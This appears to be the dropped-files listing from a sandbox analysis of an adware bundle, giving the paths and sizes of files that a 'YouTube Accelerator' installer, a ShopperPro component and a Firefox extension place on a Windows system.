C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ba1c00ee16b0d37a2bc56fbb8a2184fd.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2d2a92368d43251ea5ca5e1b98d479e9.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\694e7e17d1ca1dd34d9e65800c1f8a83.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c29b8175f0d066df377f6300a7c0b43d.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\31afc1948493419e1faa40dbaa815b6a.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b688485a44fd72827a7016f383acdcee.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\34933b5f955d1bfd9d54fcde013d6077.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\9f9e2255091459807b0fad9f80382b4c.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\NSISEncrypt.dll (3332 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstD910.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_shopperpro.exe (20404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_yta.exe (38928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_22120\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_iwebar.exe (50630 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_sense.exe (48181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_3136\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1548 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp\lgtote.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp\Vsinacdcq.tmp (394008 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp\Tfjrhcyiqi.exe (2191823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp\xlinghf.dll (2092 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi6EE9.tmp\ukrfuo.dll (30 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7861 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14357 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJF1D.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (27818 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF174D.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG174C.tmp (93076 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK1121.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM1335.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (3528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCF0D.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (10592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\2ed5403f891d7fadac42715d4fd8e683.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\69eb95f1d6d6e8f6e857fdad48ec25d8.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\a5fc1ade3d8cb0dd7fea1d34ac5979d6.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1b123b7ed5417569013bdebe7acdf4c3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\8cf4b2da19dbdae0b323393aa1d3ec70.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\67176cfc78f8d8f27e6db3e84cc92086.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3405f5bacb2090f478721400e8fb544e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\70be7f1949e02ad89e5cb0a08415bb70.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (622 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ad535445d1c9eb42124fa046849abe42.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\4f6c70cd2253d30fbd04f133b1847c11.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f74073a9851ff6e2abc569f7cce4c34c.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\62127ccdfc9fd3b95ea851a5e54b64c2.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\44cdf64ca8dda3a91f47ebd1aebc9a7d.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a5e97f7b1eb1dac534c698aedb83a114.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\8a125f95b64aec2e65f3625482775378.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6157a01fcbb5d07eaad6889fa455f139.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\de571e34e569609950d85d0199ccf35d.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\f86a81f4ee7f6820b44f26f321385c76.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e46342ca25855c7cad219e156b46e788.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1c3b2bca1b1beb3f809b7efabb7a19e4.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\9f4eb6c26a957069b37551ea1c1535bc.js (649 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1e4c1f58dd835ea648f708d9238a4ceb.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\88a330a6593fa7779e846a5f7865cd6d.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\f370f202f129eb00870420871737a362.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\bd53b3a10312eb30f95d8b9108fe000e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\af1e08d0e1bc26f9cc0fa0d1a7d9287e.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ed94253d05dd275cd30d9515a5288008.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ce49e654ffe40d5ac106c15cb9ccb8b6.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\28af3f045dfb291daea508f84a49ca9a.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8ae66b9db36ce9ad07151c5bcd53cbb4.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\db071635a4d27dd953828c3f7225e43b.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3c1e7024c3e2380dab1e5a9a699afa68.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d85e88179ac2a28aabef5895541c7ab8.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\2ecb91b57ba6883f4f5acf54f4309a04.js (13 bytes)
